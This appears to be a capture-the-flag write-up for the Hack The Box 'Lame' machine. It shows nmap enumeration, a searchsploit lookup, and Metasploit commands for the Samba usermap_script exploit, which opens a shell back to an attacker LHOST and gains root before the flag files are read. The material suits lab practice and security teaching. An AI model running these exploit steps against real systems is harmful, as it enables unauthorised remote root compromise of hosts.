Enumeration
Port Scan
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$ nmap -sC -sV -oA nmap/initial 10.129.99.83
# Nmap 7.91 scan initiated Tue Feb 16 19:19:05 2021 as: nmap -sC -sV -oA nmap/initial 10.129.99.83
Nmap scan report for 10.129.99.83
Host is up (0.080s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.121
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2h30m39s, deviation: 3h32m11s, median: 36s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2021-02-16T19:20:08-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb 16 19:20:07 2021 -- 1 IP address (1 host up) scanned in 61.07 seconds
Exploitation
Search
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$ searchsploit Samba 3.0.20
-------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
-------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Exploit
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$ msfdb start
$ msfconsole
msf6 > use exploit/multi/samba/usermap_script
msf6 > set RHOSTS 10.129.99.83
msf6 > set LHOST 10.10.14.121
msf6 > exploit
shell
$ id
uid=0(root) gid=0(root)
User Flag:
cat /home/makis/user.txtRoot Flag:
cat /root/root.txt